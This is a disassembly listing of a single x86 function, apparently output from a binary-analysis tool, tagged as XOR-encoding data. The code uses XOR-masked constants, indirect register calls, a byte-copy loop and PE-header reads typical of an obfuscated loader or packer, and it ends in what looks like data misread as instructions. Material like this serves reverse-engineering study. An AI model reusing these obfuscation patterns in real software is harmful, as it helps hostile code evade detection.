Function at 0x4038b4
Capabilities:
Encode data using xor

Disassembly:
mov edi, eax
mov dword [edi], edx
mov ecx, 0x27c4e874
mov ebx, 0x27c4e874
xor ebx, ecx
mov edi, 0x5a87a962
xor edi, 0x5a87a962
xor ebx, edi
xor ebx, esi
or ebx, 0
jne 0x403441
pop ebx
pop edx
jmp 0x40376c
push 0x2482b3ee
mov eax, 0x4208a443
pop edi
xor eax, edi
push 0x2408b094
mov ecx, 0x42c27651
pop edx
xor ecx, edx
xor ecx, eax
xor ebx, ebx
add ebx, ecx
sub ebx, 0x38
add ebx, 0xffffffff
mov eax, dword [ebx + 0x39]
mov ebx, 0x36984420
xor ebx, 0x4d732aed
mov esi, 0x1a6f28e6
xor ebx, esi
xor ebx, 0x6184462b
mov ecx, ebx
push ecx
xor ebx, ebx
add ebx, esp
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
mov esi, 0x4d8e965d
xor esi, 0x4feccefa
mov edi, 0x26258e7
xor esi, edi
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], esi
push 0x4d80be79
mov ecx, 0x4de4a30
pop esi
xor ecx, esi
push ecx
mov ecx, 0x4c1934b5
mov edx, 0x54754fc
xor edx, ecx
pop ebx
xor edx, ebx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edx
mov esi, 0x5604c3a1
xor esi, 0x5604c3a1
mov edi, 0x400000
mov ebx, 0x1000
xor edi, ebx
xor esi, edi
mov ebx, esi
push ebx
call eax
mov esi, fcn.00401284
add esp, 0xfffffffc
mov ebx, esp
mov eax, ebx
mov dword [eax], esi
mov edi, esi
push edi
pop ecx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], ecx
pop ebx
mov esi, 0x38336405
mov edi, 0x60000a8
xor esi, edi
mov edx, 0xe13451a
mov edi, 0x30202240
xor edx, edi
xor edx, esi
add ebx, edx
add ebx, 0xffffffff
add ecx, edx
add esp, 0xfffffffc
mov esi, 0
xor esi, esp
mov dword [esi], edx
mov esi, 0
xor esi, ecx
add esp, 0xfffffffc
mov dword [esp], esi
xor edx, edx
mov dl, byte [ebx]
add ecx, edx
mov dl, byte [ecx]
pop ecx
mov byte [ebx], dl
mov edi, 0x55f0f4b8
mov esi, 0xaa0f0b47
xor esi, edi
add ebx, esi
pop edx
add edx, 0xffffffff
push edx
pop edi
mov eax, edi
mov esi, eax
or esi, edx
jne 0x403851
pop ecx
mov edx, 0x3b12b470
xor edx, 0xe742cd7
push edx
push 0x72049424
mov ebx, 0x4722dd3b
pop edi
xor ebx, edi
pop eax
xor ebx, eax
push ebx
pop edx
add edx, 0x11
mov esi, 1
sub edx, esi
mov ebx, dword [edx - 0x10]
mov edi, ebx
mov edx, edi
mov eax, edx
push eax
push 0x26dbce4e
mov edx, 0x23e1aa5a
pop edi
xor edx, edi
push edx
mov eax, 0x6f6088d8
xor eax, 0x6a5aeccc
pop esi
xor eax, esi
mov edi, eax
push edi
push 0x1f9c2468
mov ebx, 0x1f9cb4ec
pop eax
xor ebx, eax
push 0x44295291
mov edx, 0x44691389
pop esi
xor edx, esi
xor ebx, edx
push ebx
pop edx
add edx, 0xffffffff
mov ebx, dword [edx + 1]
xor edi, edi
add edi, ebx
mov edx, edi
add esp, 0xfffffffc
mov dword [esp], edx
mov edi, 0x76a84032
mov ebx, 0x4bf73fc1
xor ebx, edi
mov esi, 0x3d5f7c04
xor ebx, esi
add ebx, ecx
mov esi, ebx
mov eax, esi
add esp, 0xfffffffc
mov dword [esp], eax
mov edx, 0xaaa1904
mov eax, 0x10048600
xor edx, eax
push edx
mov esi, 0x32a9c662
xor esi, 0x2807a132
pop edi
xor esi, edi
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], esi
mov ebx, 0x11740108
xor ebx, 0x46e92aa1
push ebx
push 0x32f640e5
mov edi, 0x656b6373
pop esi
xor edi, esi
pop edx
xor edi, edx
mov esi, 0
xor esi, edi
mov eax, esi
push eax
mov edx, 0x7559acc0
xor edx, 0x8e90624
push edx
push 0x314f7fe5
mov ebx, 0x4cffdc4b
pop eax
xor ebx, eax
pop edi
xor ebx, edi
mov esi, ebx
mov edx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], edx
pop ss
call ecx
add byte [ecx], al
jne 0x4039b3
mov edx, dword [edx + 8]
jmp fcn.004031e8
push ebx
mov ebx, eax
sub esp, 0x10
mov word [esp], 0
mov eax, esp
mov ecx, pe_nt_image_headers32
call 0x4038b4
mov eax, ebx
call fcn.00403198
mov eax, dword [esp + 8]
mov dword [ebx], eax
add esp, 0x10
pop ebx
ret